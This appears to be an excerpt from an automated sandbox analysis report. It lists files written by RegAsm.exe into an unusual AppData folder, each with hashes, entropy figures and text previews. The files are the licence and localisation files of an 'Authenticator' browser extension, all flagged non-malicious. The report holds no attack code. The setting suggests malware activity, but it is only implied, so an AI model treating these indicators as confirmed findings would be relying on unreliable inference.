SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\LICENSE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1080
Entropy (8bit):	5.095372190586953
Encrypted:	false
SSDEEP:	24:8prmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:KaJHlxE3dQHOs5exm3ogFh
MD5:	7A1B9BFB9A7BD6EE388D5666C2248D7C
SHA1:	4C44FF489810B98DBEFC0C7E02855B5638C9C90F
SHA-256:	8CB341FCABD04649D7662104D6F952CACA56558CF4A19B349B632E95D3DEBC7A
SHA-512:	5B5821171F45A183DB622EB79019AF188A164F0519CCDD4D6E4D84EA4FB9437FC3E3D843733F0B458B073BEBCDCBB96348F06684245469FD3962F0C7EB53FA94
Malicious:	false
Preview:	MIT License..Copyright (c) 2017 Authenticator Extension..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF O

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\ar\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	19010
Entropy (8bit):	5.005756829617719
Encrypted:	false
SSDEEP:	192:89FJuFtc+F3d5JukZBed7zsOzKm/fJDOqulSR24rPFM1sjl:MFJuFtc+9dWkfed7Q1wJDAP4rPFqsjl
MD5:	578BDAF43F355C542B78099A03DA0186
SHA1:	E64358310EC0F6CC1AE088BD4A515E13B9A289AC
SHA-256:	7526B9268F3597413942FD1E0D70A549D64013A4B2CA6AB2AC4D49DEDD175FFB
SHA-512:	988E6619903F48ECBAB33F9BD2DA67CCFAA220AED8FA57598810E1FF4EA1C1C47A1E79870EC01E573528D51D7645EE78262B132EB468C78436AE413A2FE42B22
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": "..".. },.. "account": {.. "description": "Account.",.. "message": "....".. },.. "accountName": {.. "description": "Account Name.",.. "message": "... ........".. },.. "add_code": {.. "description": "Add account.",.. "message": "..... ....".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "... ... QR".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "....... ......".. },.. "added": {.. "description": "Added Account.",.. "message": " .. .......".. },.. "advanced": {.. "message": "....... ......".. },.. "advisor": {.. "message": "......".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": ".... ..... ....... ......... .... ...... ........ .. .....

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\bg\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	17263
Entropy (8bit):	4.930408632614001
Encrypted:	false
SSDEEP:	192:nX9WDLVR+rpmrp7cA8Nut2ElQCdHyuX/Mz37uHqQLccRSaFO/gb:sDLirpmraA8ct2EHPMoqYps/gb
MD5:	4278741CAD58E316EB05D027A37507FF
SHA1:	FFA02D862BA07D6341708F0F6D91A07C407A0376
SHA-256:	81842C2C27276809791D25976C798C733D7C684FC02B233431203A2118F3E106
SHA-512:	013033F5042C4D5BA284581328709B59282D333BA6A1B4A1EFB28CDFDDF6393C70CC8438E40EAA79EFD8795EE9CF708EF2DF7BE7B99CEFF4C942EDE57DE2153B
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": ".. ...".. },.. "account": {.. "description": "Account.",.. "message": "......".. },.. "accountName": {.. "description": "Account Name.",.. "message": "Username".. },.. "add_code": {.. "description": "Add account.",.. "message": "Add account".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": ".......... QR ....".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "..... .........".. },.. "added": {.. "description": "Added Account.",.. "message": " . ........".. },.. "advanced": {.. "message": "Advanced".. },.. "advisor": {.. "message": "Advisor".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "Autofill can be enabled to automatically fill codes into websites.".. },.. "advisor_insight_auto_lock_not_set": {..

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\bn\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24896
Entropy (8bit):	4.805678987716247
Encrypted:	false
SSDEEP:	384:VhZ80c+covMntluaGiO7VLOMjID//zL2FxG+ai8:HZ80c+coRzEMjIKOr
MD5:	0FB0571E26A7125C2198BDEED7103B3A
SHA1:	B0397FB019FD976606325BF62E9D1A7DE80D15DD
SHA-256:	221440420DC60DF3943C75CF2204287D7AC0917913C8E8CDC481DCEDCF0862A0
SHA-512:	4D9F59BEFF9E9C6E7DC05C7822D42A14101CBB8C455231824BF910979DC4B8AAE51DEC0D1C9F686632489EA46C16F955F4A104FA6D749481FDD9217CE5D2D395
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": "........".. },.. "account": {.. "description": "Account.",.. "message": "..........".. },.. "accountName": {.. "description": "Account Name.",.. "message": "............ ...".. },.. "add_code": {.. "description": "Add account.",.. "message": ".......... ... ....".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "...-.. ... ....... ....".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": ".......... .......".. },.. "added": {.. "description": "Added Account.",.. "message": "... ... ......".. },.. "advanced": {.. "message": ".....".. },.. "advisor": {.. "message": "......

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\ca\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	17004
Entropy (8bit):	4.564996791212408
Encrypted:	false
SSDEEP:	192:YSOlpexY8NDyAkwJCr8ngpbjOBhJJ0y1O5M4+/aepEkRu19fCuCJNgeocv6N:YHX+Y8NGQJCAYyB3JDbyeiZCuCNQcSN
MD5:	AB7DC52815856C292ECE01C77034F5F8
SHA1:	E2A4FBCCAF800B3D5B7E6D66AFEF1B7788601A2E
SHA-256:	436D4963DC7C2C3FE898C050EE42DCE052C36D87A83E255B8337F986291A3379
SHA-512:	3D85E9156178A982A4814C9061AA44156F4D101DB9CF0DD0C6A8D0C44BA9923FFEF0EB0F51ED733C8D1BFE68443EF03D11821C0D0BB56224E07917AEB03570D6
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": "Quant a".. },.. "account": {.. "description": "Account.",.. "message": "Compte".. },.. "accountName": {.. "description": "Account Name.",.. "message": "Nom d'usuari".. },.. "add_code": {.. "description": "Add account.",.. "message": "Afegeix compte".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "Escaneja codi QR".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "Entrada manual".. },.. "added": {.. "description": "Added Account.",.. "message": " s'ha afegit.".. },.. "advanced": {.. "message": "Avan.at".. },.. "advisor": {.. "message": "Assessor".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "Podeu activar l'emplenament autom.tic per omplir els codis a les p.gines web.".. },.. "advisor_insight_auto_lock_not_set": {.. "message": "Activeu el blo

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\cs\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	16557
Entropy (8bit):	4.805442132163136
Encrypted:	false
SSDEEP:	192:9ppELVR+rpsqMlyxVBasUK/FNsBwInS8kTC+4f8U3gF65WblORt8qOqB0fKQA9rL:eLirpsqdANngqkbGf0f89nmO
MD5:	A668C594BF6CD99A1E2EA05A2B9C5DA2
SHA1:	5C50D129F835DDEA878415F93E7B791B9E39ECBA
SHA-256:	0E6EC9C806AE73A4E32150E872981FA4F6917D0CA1A6474E95A814F88A66C22E
SHA-512:	18886A30BEB1BC5DEDAF15A364E8EADA449A1DF4CDE1B6CC013221F62A1A9BBC4A33FFAFB14EF7330A6F6A2F5E3B1500C570D7D093E97CA36BBDE3D7B7959297
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": "O aplikaci".. },.. "account": {.. "description": "Account.",.. "message": "..et".. },.. "accountName": {.. "description": "Account Name.",.. "message": "N.zev ..tu".. },.. "add_code": {.. "description": "Add account.",.. "message": "P.idat ..et".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "Naskenovat QR k.d".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "Ru.n. zad.n.".. },.. "added": {.. "description": "Added Account.",.. "message": " byl p.id.n.".. },.. "advanced": {.. "message": "Pokro.il.".. },.. "advisor": {.. "message": "Advisor".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "Autofill can be enabled to automatically fill codes into websites.".. },.. "advisor_insight_auto_lock_not_set": {.. "message": "Enable auto-lock

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\da\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	16160
Entropy (8bit):	4.5693681286747
Encrypted:	false
SSDEEP:	192:q/49rLVR+rpmrkRthh9OuqT9CauG1h7uHf4SlcRS1ZGqV2A6:6crLirpmrkjhOuqBu0af4SDGqEA6
MD5:	1053F963D62A7C2DE0310AC28C4ECB5E
SHA1:	D55F4E1FD6F111E8B784E80F88A5F1495326DCAE
SHA-256:	00D99E1898463CFF5173DA0344BCC869C40FB6EDA0AF0923C095C0780E4F67B5
SHA-512:	3AF9ADC19863490886C8F9EBB5C165256764D77FABEE39DAA987A49750AF7281DAC77C0DD04D51D08F5441642D6C418F2B454F48B899ABBDAFD25BE2E5AE49AB
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": "Om".. },.. "account": {.. "description": "Account.",.. "message": "Konto".. },.. "accountName": {.. "description": "Account Name.",.. "message": "Brugernavn".. },.. "add_code": {.. "description": "Add account.",.. "message": "Tilf.j konti".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "Skan QR-kode".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "Manuel indtastning".. },.. "added": {.. "description": "Added Account.",.. "message": " er tilf.jet.".. },.. "advanced": {.. "message": "Avanceret".. },.. "advisor": {.. "message": "Advisor".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "Autofill can be enabled to automatically fill codes into websites.".. },.. "advisor_insight_auto_lock_not_set": {.. "message": "Enable auto-lock to protect your da

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\de\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	17039
Entropy (8bit):	4.629379488448348
Encrypted:	false
SSDEEP:	192:7nRfEhv1+Twsj4MIiXKiTlz6rt6C+Ynq3n1I1ureipqoHkNlsgXgRaKHOGtgMvfi:m11+ljBONtytPof3T7bkMauX
MD5:	2FEDB89A31145063E6CEC6B698C0F662
SHA1:	B36844B810B392C48E31724FDDEF0F618E50B33E
SHA-256:	544626E0FE29E51119087A6E800850A31355182F576E7F3D88189DD791865BAD
SHA-512:	38BD6CD688389C3312FCACFC970DFB97E2A08EC27733756AD2F9D5867ED727BE29DF46075B8FB79820B15BC11EAAC7C0D243AD958F6D7C4C7A95D83CF395F74B
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": ".ber".. },.. "account": {.. "description": "Account.",.. "message": "Benutzerkonto".. },.. "accountName": {.. "description": "Account Name.",.. "message": "Benutzername".. },.. "add_code": {.. "description": "Add account.",.. "message": "Konto hinzuf.gen".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "QR Code scannen".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "Manuelle Eingabe".. },.. "added": {.. "description": "Added Account.",.. "message": " wurde hinzugef.gt.".. },.. "advanced": {.. "message": "Erweiterte".. },.. "advisor": {.. "message": "Ratgeber".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "Autofill kann aktiviert werden, um automatisch Codes in Webseiten auszuf.llen.".. },.. "advisor_insight_auto_lock_not_set": {.. "message

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\el\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	21469
Entropy (8bit):	5.083065298800766
Encrypted:	false
SSDEEP:	384:lYc5s0CdT5PPd8CyyveVluvJtUuh0SrG6ZgSHPdBhK+yu8tEz2aJiYrxf2pQKn:lY0s0CdNPPd8CyyG2Px0Sa6ZbHPdDKh3
MD5:	B1DA977AE4C69DDED1DCEEC024A45A05
SHA1:	0229BE951CE0142DF05EDB4D38C1583E9741C414
SHA-256:	ED7F5FCC8B833A4BC69C46AACBAE188E096DF1C3FE8B6FE24C67EEF2CDB82322
SHA-512:	6A67FC43D6F7780AF2E2F782ACE8E78F8FCF45ADC17AA331C6E829759791386D5DAE9AD7819318EFB773AA71D2ED9C0E693FFD8E4FD9BBCABA5A328BF92C588E
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": ".......".. },.. "account": {.. "description": "Account.",.. "message": "...........".. },.. "accountName": {.. "description": "Account Name.",.. "message": "..... ......".. },.. "add_code": {.. "description": "Add account.",.. "message": "........ ...........".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "...... ...... QR".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "........... ........".. },.. "added": {.. "description": "Added Account.",.. "message": " .... ..........".. },.. "advanced": {.. "message": "... .............".. },.. "advisor": {.. "message": ".........".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": ".........

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\en\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	15887
Entropy (8bit):	4.535594595688624
Encrypted:	false
SSDEEP:	192:RXMLVR+rpmrp7NuUDS2kF+vEup287uHclccRSrqUwsC:2Lirpmr2UWG6clsqUwsC
MD5:	5949071001EFF2C74A543B2C7F54C097
SHA1:	75879B877C31E93ACADFDE345CE04695CFFE5820
SHA-256:	43B5278E365CB9CFE3DC048AF608B8F314CAC5DA96E31C726FF86368F3CBC178
SHA-512:	DA217A74149B707D5486D7C4CA311AEDB7074E424B0F463D34B302ED565A16A4222879199C5048387C2FB5F5554CB3454E836961AB7521A06F74D5DF053E14B1
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": "About".. },.. "account": {.. "description": "Account.",.. "message": "Account".. },.. "accountName": {.. "description": "Account Name.",.. "message": "Username".. },.. "add_code": {.. "description": "Add account.",.. "message": "Add account".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "Scan QR Code".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "Manual Entry".. },.. "added": {.. "description": "Added Account.",.. "message": " has been added.".. },.. "advanced": {.. "message": "Advanced".. },.. "advisor": {.. "message": "Advisor".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "Autofill can be enabled to automatically fill codes into websites.".. },.. "advisor_insight_auto_lock_not_set": {.. "message": "Enable auto-lock to protect your data."

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\es\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	17267
Entropy (8bit):	4.548168188859034
Encrypted:	false
SSDEEP:	192:beWrSDbfyLN5k9HTGR2Ht//t8RfbdzoLclJ:SWrSDzyTkZ8wt//+bWIlJ
MD5:	3319CF43F8EDCC99B1FEE48FAC5135BC
SHA1:	6AE6BB0BF6D9D0D2AC22D3E472E048B523DF51ED
SHA-256:	FF4C0C40459BEC079FB22F71CBCCC3F79E69393604C188BF57172BDA3C674CFF
SHA-512:	2C385C6FD357AD39EAB57583AA2531A7E33C19EBEA8721D95A06538B46F612FA8D0503C6F99F6189CFB06ED329EDCBFAA59C7A3C192E464693D2145004FCB74D
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": "Acerca de".. },.. "account": {.. "description": "Account.",.. "message": "Cuenta".. },.. "accountName": {.. "description": "Account Name.",.. "message": "Nombre de usuario".. },.. "add_code": {.. "description": "Add account.",.. "message": "A.adir cuenta".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "Escanear un c.digo QR".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "Entrada manual".. },.. "added": {.. "description": "Added Account.",.. "message": " ha sido a.adido.".. },.. "advanced": {.. "message": "Avanzado".. },.. "advisor": {.. "message": "Recomendaciones".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "La funci.n Autocompletar permite rellenar autom.ticamente c.digos en sitios web.".. },.. "advisor_insight_auto_lock_not_set": {..

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\et\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	16166
Entropy (8bit):	4.582334648373038
Encrypted:	false
SSDEEP:	192:IULVR+rpRe102nX17mDrV6XyQ4Ev5cRSX/0IKDa2B:xLirp0LXmTQ4a1KDa2B
MD5:	90E818A5F59793F61337E8CCC5311210
SHA1:	352C68C493565EC58CD28A1CE3C6CF9FFB3AAE5B
SHA-256:	191F82E759A25A39CE74C38292B01120D8464390846287B66413010B90FDA33F
SHA-512:	DD7BD8B982974FDFF699472262CE5778F9A4574E5E9E6EF4CDE8036CE85DE0A0E8797B45D3ECEE284C783A1B194A6377EF6D831D420ACCE20704FE903C29AE11
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": "Teave".. },.. "account": {.. "description": "Account.",.. "message": "Konto".. },.. "accountName": {.. "description": "Account Name.",.. "message": "Kasutajanimi".. },.. "add_code": {.. "description": "Add account.",.. "message": "Lisa konto".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "Skaneeri QR kood".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "Sisesta k.sitsi".. },.. "added": {.. "description": "Added Account.",.. "message": " on lisatud.".. },.. "advanced": {.. "message": "Lisavalikud".. },.. "advisor": {.. "message": "N.uandja".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "Autofill can be enabled to automatically fill codes into websites.".. },.. "advisor_insight_auto_lock_not_set": {.. "message": "Enable auto-lock to protect y

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\fa\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	20130
Entropy (8bit):	5.068725121026529
Encrypted:	false
SSDEEP:	192:pRGoY8qCcAdg4h7xgkYqH/bm88zhopv4aiNg/C21dLRyTn19+roxwVUa/Al45+:LGoY8qRATh1Uq0iKmvFXVUWB+
MD5:	E86AD9EFB881D09B0C414C08BC5D01BC
SHA1:	E6ED94F8F58BD9FB7CE04742C53E6579DC110ED1
SHA-256:	A17A1AE7C308D47FED7FD741B254579C86B883A6ABF61AB82E50A206A51758AF
SHA-512:	8BE3ED12EF684C86040AB7B22AF132199614F33F7DB6C7FAF8E0C82AA51B9C6708FCC95459D29639B1A23D23B818AAAC6D2291541E03696096C9C9C4709B6BE4
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": "......".. },.. "account": {.. "description": "Account.",.. "message": "....".. },.. "accountName": {.. "description": "Account Name.",.. "message": "... ......".. },.. "add_code": {.. "description": "Add account.",.. "message": "...... .... ......".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": ".... QR Code".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": ".... .... .. ... ....".. },.. "added": {.. "description": "Added Account.",.. "message": " ..... ... ....".. },.. "advanced": {.. "message": ".......".. },.. "advisor": {.. "message": ".....".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": ".... ..... ...... .... .. .. .... .. . .. .... .

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\fi\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	16083
Entropy (8bit):	4.578925336649242
Encrypted:	false
SSDEEP:	192:lXlXLVR+rpmrp7sw7c+1uDg+s7uH2FccRSuLJsXbJ:LXLirpmruw7iDga2FhLJsrJ
MD5:	DF7900E19E620251E3956BB262FB09DC
SHA1:	9ED59A61343B930382D6B4FA11DBB0726FD2434E
SHA-256:	C11D78E59F821FE15EE8688D4D08488CA503F127CA47B45686397A7C9C1E566E
SHA-512:	592408368BC499B80147D9146BF60B477F888B96A028183632107A8AD6D5F9259117945E4C1165FB0E7518ECFA463EB067D30F7F941A8919CA5D2170E0461856
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": "Tietoja".. },.. "account": {.. "description": "Account.",.. "message": "Tili".. },.. "accountName": {.. "description": "Account Name.",.. "message": "Username".. },.. "add_code": {.. "description": "Add account.",.. "message": "Add account".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "Lue QR-koodi".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "Manuaalinen sy.tt.".. },.. "added": {.. "description": "Added Account.",.. "message": " on lis.tty.".. },.. "advanced": {.. "message": "Advanced".. },.. "advisor": {.. "message": "Advisor".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "Autofill can be enabled to automatically fill codes into websites.".. },.. "advisor_insight_auto_lock_not_set": {.. "message": "Enable auto-lock to protect your da

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\fr\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	17378
Entropy (8bit):	4.592660999259081
Encrypted:	false
SSDEEP:	192:hQAtIKJNpNUEr4q3YpORhkQEJGvToqx1R59Uii08o63SGQEE:KAtIKJ/CVq1oq/ix08ohGTE
MD5:	56D405BD4CBBC69D18BDEA5A0010EBC0
SHA1:	7C61776CC4AAE122C89AFD21AFB0B4512EC601A8
SHA-256:	D9A0F312E931216EB2BB5C34F223D5F573205AB0D1501AEA4C1C4F8633952CBC
SHA-512:	8CDA756345D4A32BA97EF7F69984A083DC353FB9A3786AC1AEF0C2B69E1D670916E5EE27A5C446D8D6DA0291FF27E1321009ABF6FA35CD75109061773E3522CE
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": ". propos".. },.. "account": {.. "description": "Account.",.. "message": "Compte".. },.. "accountName": {.. "description": "Account Name.",.. "message": "Nom d'utilisateur".. },.. "add_code": {.. "description": "Add account.",.. "message": "Ajouter un compte".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "Scanner le QR code".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "Saisie manuelle".. },.. "added": {.. "description": "Added Account.",.. "message": " a .t. ajout..".. },.. "advanced": {.. "message": "Avanc.".. },.. "advisor": {.. "message": "Conseils".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "Le remplissage automatique peut .tre activ. pour remplir automatiquement les codes dans les sites web.".. },.. "advisor_insight_auto_lock_not_

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\fy\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	16998
Entropy (8bit):	4.436841984628385
Encrypted:	false
SSDEEP:	192:bkkDUarC27a8E8OGdd6MXtud0fDTyTy9DRBWL82BAr8qfcRf:LDN7NErszQd0foiDRBWL82BAwOC
MD5:	6F02D547242512CA723F762B8B02FAC9
SHA1:	5BB24C530848DF0EE0319B15CD4A1F04B8E0942F
SHA-256:	B2F153D4DF2DD0EA9A0D04128618F9AE899719B5FCD49DAFE5D8D11C2A58564D
SHA-512:	80B70E5DFF761306CC81BD091AE3CF8615D39BDB323F28E5703B8D90F7691DB45BDBC63DF399EAEA57AE5915F35D64D7182A4FFE169279BFAB68E1096B6F67BA
Malicious:	false
Preview:	{. "extName": {. "message": "Authenticator",. "description": "Extension Name.". },. "extShortName": {. "message": "Authenticator",. "description": "Extension Short Name.". },. "extDesc": {. "message": "Authenticator generearret 2-stapsferifikaasjekoades yn jo browser.",. "description": "Extension Description.". },. "added": {. "message": " is tafoege.",. "description": "Added Account.". },. "errorqr": {. "message": "Net-werkende QR-koade.",. "description": "QR Error.". },. "errorsecret": {. "message": "Net krekt accountgeheim",. "description": "Secret Error.". },. "add_code": {. "message": "Account tafoegje",. "description": "Add account.". },. "add_qr": {. "message": "Skan QR-koade",. "description": "Scan QR Code.". },. "add_secret": {. "message": "H.nmjittige ynfier",. "description": "Manual Entry.". },.

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\he\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	16967
Entropy (8bit):	4.860844401763675
Encrypted:	false
SSDEEP:	192:SYLVR+rpmrRXqZPi7JICxw9bpgpGrfF4GWcRSqAxa9rI:zLirpmrkMJICY0GX1caxI
MD5:	CEA848E033F93E334A09F96CC969D0C0
SHA1:	9179308A68C2BCE7A82640BBD41FE4C690B7915B
SHA-256:	91A32CBC1BE0B3DB62C4E2B1A9E5DB9DCC9B4EC52C8109FAE0BEEB7F35E2B4A6
SHA-512:	F0165081D17BA66555CEE37A5A016DA7816981228DF5D9E7AE0E66B5136AE1D6DAC694C10C66BB7E62CDC87B460D397CEABF05A7512C6BF6EA47A91F1790B952
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": ".....".. },.. "account": {.. "description": "Account.",.. "message": ".....".. },.. "accountName": {.. "description": "Account Name.",.. "message": ".. .....".. },.. "add_code": {.. "description": "Add account.",.. "message": "..... .....".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": ".... .....".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": ".... .....".. },.. "added": {.. "description": "Added Account.",.. "message": " .......".. },.. "advanced": {.. "message": ".....".. },.. "advisor": {.. "message": "Advisor".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "Autofill can be enabled to automatically fill codes into websites.".. },.. "advisor_insight_auto_lock_not_set": {.. "message": "

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\hi\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23613
Entropy (8bit):	4.814368671598703
Encrypted:	false
SSDEEP:	384:0+xSy+R290jBmTj1d9u1R6UHv1dPQKrwW+uHBpvoY+u+4Xn:0+xo20yUNtRLLoOn
MD5:	83201892E15AA861B248364E980C3FEF
SHA1:	2AAE06DC36CF8A390E1737EB6DF44AE111FD4F3F
SHA-256:	41BE00B58BBC6159EA5C226FA6FCA0037F1246BBABBDFC0CC0BA2CFFCA3D9C3B
SHA-512:	B3AAFEE4C6E900A489561DB14DC20B2DEF6C62C247E1C0077FC2FC985ED5CB19347DA3AC7F874395DA2F3897E08F1EBC00DC7E563A320AB7D4C71586D0A87B88
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": ".....".. },.. "account": {.. "description": "Account.",.. "message": "....".. },.. "accountName": {.. "description": "Account Name.",.. "message": ".......... ...".. },.. "add_code": {.. "description": "Add account.",.. "message": ".... .....".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "..... \"....-.. ...\"".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": ".... .........".. },.. "added": {.. "description": "Added Account.",.. "message": " .... .... ... ...".. },.. "advanced": {.. "message": ".....".. },.. "advisor": {.. "message": ".......".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message

